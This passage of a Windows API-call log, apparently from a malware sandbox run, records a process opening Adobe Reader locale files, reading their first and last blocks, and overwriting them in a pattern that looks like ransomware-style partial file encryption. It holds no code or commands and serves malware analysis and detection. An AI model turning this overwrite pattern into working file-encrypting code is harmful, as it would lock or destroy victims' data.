lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.974] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.974] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.974] CloseHandle (hObject=0x12c) returned 1 [0036.975] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\Spelling.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\spelling.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0036.995] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.995] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x2a00 [0036.995] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.995] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.995] ReleaseMutex (hMutex=0x128) returned 1 [0036.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.HUN", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.HUN", lpUsedDefaultChar=0x0) returned 12 [0036.995] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.997] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1a00 [0036.997] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.998] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x1a00 [0036.998] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.998] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0036.998] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.998] CloseHandle (hObject=0x12c) returned 1 [0036.998] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\DVA.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\dva.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0036.999] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.999] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x4c00 [0036.999] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0036.999] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.999] ReleaseMutex (hMutex=0x128) returned 1 [0036.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0036.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DVA.ITA", cchWideChar=7, lpMultiByteStr=0x1e6a9fc, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DVA.ITA", lpUsedDefaultChar=0x0) returned 7 [0036.999] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.001] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3c00 [0037.001] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.001] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x3c00 [0037.002] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.003] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0037.003] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1000, lpOverlapped=0x0) returned 1 [0037.003] CloseHandle (hObject=0x12c) returned 1 [0037.003] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\reflow.ITA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\reflow.ita"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.003] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.004] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x1200 [0037.004] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.004] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.004] ReleaseMutex (hMutex=0x128) returned 1 [0037.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0037.004] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="reflow.ITA", cchWideChar=10, lpMultiByteStr=0x1e6314c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="reflow.ITA", lpUsedDefaultChar=0x0) returned 10 [0037.004] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2f4f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0037.006] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f300*=0) returned 0x0 [0037.006] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2f4f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0037.006] CloseHandle (hObject=0x12c) returned 1 [0037.006] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Acroform.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\acroform.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.007] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.007] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x48c00 [0037.007] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.007] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.007] ReleaseMutex (hMutex=0x128) returned 1 [0037.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.007] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.JPN", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.JPN", lpUsedDefaultChar=0x0) returned 12 [0037.007] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x8000, lpOverlapped=0x0) returned 1 [0037.009] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x47c00 [0037.009] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.011] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x47c00 [0037.011] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.012] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0037.012] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x8000, lpOverlapped=0x0) returned 1 [0037.012] CloseHandle (hObject=0x12c) returned 1 [0037.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\makeaccessible.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\makeaccessible.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.012] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.012] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xb600 [0037.012] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.012] ReleaseMutex (hMutex=0x128) returned 1 [0037.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0037.013] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.JPN", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.JPN", lpUsedDefaultChar=0x0) returned 18 [0037.013] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.014] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xa600 [0037.014] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.015] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xa600 [0037.015] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.015] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0037.015] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.015] CloseHandle (hObject=0x12c) returned 1 [0037.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ja_JP\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ja_jp\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.015] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.016] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xa11a [0037.016] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.016] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.016] ReleaseMutex (hMutex=0x128) returned 1 [0037.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0037.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6302c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0037.016] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.018] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x911a [0037.018] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.018] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x911a [0037.019] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.019] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0037.019] WriteFile (in: hFile=0x12c, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.019] CloseHandle (hObject=0x12c) returned 1 [0037.019] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Checkers.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\checkers.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.020] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.020] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x15a00 [0037.020] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.020] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.020] ReleaseMutex (hMutex=0x128) returned 1 [0037.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.KOR", cchWideChar=12, lpMultiByteStr=0x1e6322c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.KOR", lpUsedDefaultChar=0x0) returned 12 [0037.020] ReadFile (in: hFile=0x12c, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2f4f278*=0x4000, lpOverlapped=0x0) returned 1 [0037.022] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x14a00 [0037.022] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.023] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0x14a00 [0037.023] WriteFile (in: hFile=0x12c, lpBuffer=0x27723b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x27723b8*, lpNumberOfBytesWritten=0x2f4f28c*=0x1588, lpOverlapped=0x0) returned 1 [0037.023] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f2bc*=0) returned 0x0 [0037.023] WriteFile (in: hFile=0x12c, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2f4f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2f4f28c*=0x4000, lpOverlapped=0x0) returned 1 [0037.023] CloseHandle (hObject=0x12c) returned 1 [0037.024] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\RdLang32.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\rdlang32.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0037.025] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.025] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0xf9c00 [0037.025] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2f4f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2f4f8c0*=0) returned 0x0 [0037.025] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0037.025] ReleaseMutex (hMutex=0x128) returned 1 [0037.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0037.025] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.KOR", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.KOR", lpUsedDefaultChar=0x0) returned 12 [0037.025] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0xf000, lpOverlapped=0x0) returned 1 [0037.027] ReadFile (in: hFile=0x12c, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x2f4f278*=0x1000, lpOverlapped=0x0) returned 1 [0037.032] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2f4f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2f4f2e8*=0) returned 0xf8c00 [0037.032] ReadFile (in: hFile=0x12c, lpBuffer=0x27723b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2f4f278, 